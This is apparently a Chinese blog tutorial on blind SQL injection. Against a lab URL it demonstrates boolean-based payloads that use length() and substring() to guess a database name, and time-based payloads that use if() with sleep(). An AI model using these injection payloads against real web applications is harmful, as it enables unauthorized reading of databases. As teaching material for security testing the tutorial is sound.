sql 注入, 盲注

sql 注入, 盲注

盲注适合在页面没有任何回显时使用.

测试页面有变化, 但是没有显示任何异常错误等信息.

情景:
py 复制代码
url: http://192.168.112.200/security/read.php?id=1
服务器数据库名: learn

一, boolean盲注

c 复制代码
# 盲注可能需要一个一个字符去试探, 字符串处理函数经常会用到. 比如:
length(n)                 字符串长度
mid(str, start, n)        从start开始截取n个字符, start从1开始
substring(str, start, n)  从start开始截取n个字符, start从1开始
left(str, n)              从左侧开始截取n个字符
right(str, n)             从右侧开始截取n个字符
ord()                     字符的ascii码
ascii()                   字符的ascii码
1. 猜测长度
py 复制代码
# 利用比较运算判断数据库名称的长度
http://.../?id=1 and length( database() ) < 10 # 页面正常
http://.../?id=1 and length( database() ) < 5  # 页面异常
http://.../?id=1 and length( database() ) = 5  # 页面正常, 数据库名长度是5.
2. 猜测字符

利用 substring() 等函数, 判断名称中的字母, 范围包括大写或小写字母, 数字, 下划线等.

可以使用python脚本或者burpsuit来做爆破.

py 复制代码
# 猜测数据库名第一个字母
http://.../?id=1 and substring( database(), 1, 1 ) = 'a' # 页面异常
http://.../?id=1 and substring( database(), 1, 1 ) = 'c' # 页面异常
http://.../?id=1 and substring( database(), 1, 1 ) = 'l' # 页面正常, 数据库名首字母是 l
# 猜测第二个字母
http://.../?id=1 and substring( database(), 2, 1 ) = 'e' # 页面正常, 数据库第二个字母是 e
http://.../?id=1 and substring( database(), 2, 1 ) = 'E' # 页面正常, 到底是大写还是小写 ?

# 这里为了区分大小写, 使用 binary 更准确
http://.../?id=1 and binary substring( database(), 2, 1 ) = 'e' # 页面正常
http://.../?id=1 and binary substring( database(), 2, 1 ) = 'E' # 页面异常

# 猜测第三个字母
...

二, 时间型盲注

boolean盲注可以通过页面的变化来判断, 如果测试时, 无论使用什么代码, 页面没有任何变化, 就需要尝试时间盲注.

在真假判断的基础上添加时间判断.

原理:

if(表达式, 语句1, 语句2) 函数的规则:

如果 表达式 是真, 则执行 语句1 , 否则执行 语句2 .

使用if函数, 对boolean盲注表达式做判断, 将延迟时间设置到语句1,

如果boolean盲注表达式猜对了, sql会执行语句1 进入延迟, 否则sql会立刻执行语句2.

所以通过注入后页面的延迟时间可以判断出boolean盲注的猜测是否成功.

案例:
py 复制代码
# 猜测数据库的名称长度
http://.../?id=1 and if( length(database())<10, sleep(5), 1) # 页面有明显延迟, 说明猜对
http://.../?id=1 and if( length(database())<5, sleep(5), 1)  # 页面响应不到5秒, 说明猜错
http://.../?id=1 and if( length(database())=5, sleep(5), 1)  # 页面有明显延迟, 说明猜对, 那么长度是5
相关推荐
TDengine (老段)2 分钟前
TDengine 线程模型 — 网络、调度、执行
大数据·数据库·物联网·制造·时序数据库·tdengine·涛思数据
上学的小垃圾1 小时前
01-数据库系统概述
数据库
二进制漫游记2 小时前
FastAPI项目集成 Qdrant向量数据库+阿里云Embedding完整实战(工具封装+业务调用)
数据库·python·阿里云·embedding
2501_928996222 小时前
GPT-4o换DeepSeek迁移成本多少?中科热备解析API聚合平台技术账本
前端·数据库·人工智能
2601_962381583 小时前
【转】Python渗透测试工具:sqlmap
python·渗透测试·sql注入·sqlmap·数据库安全
泡干脆面就番茄4 小时前
MySQL_子查询_分页查询与联合查询详解
数据库·mysql
devpotato5 小时前
缓存与数据库更新顺序不一致问题
java·数据库·redis
天若有情6735 小时前
Node+MySQL小型全栈笔记项目实战课程分享
数据库·笔记·mysql
wxwx_bscxy3226 小时前
基于springboot宠物领养系统的设计与实现
数据库·spring boot·后端·spring·宠物
九月要晚安6 小时前
达梦DW与AFC对比
数据库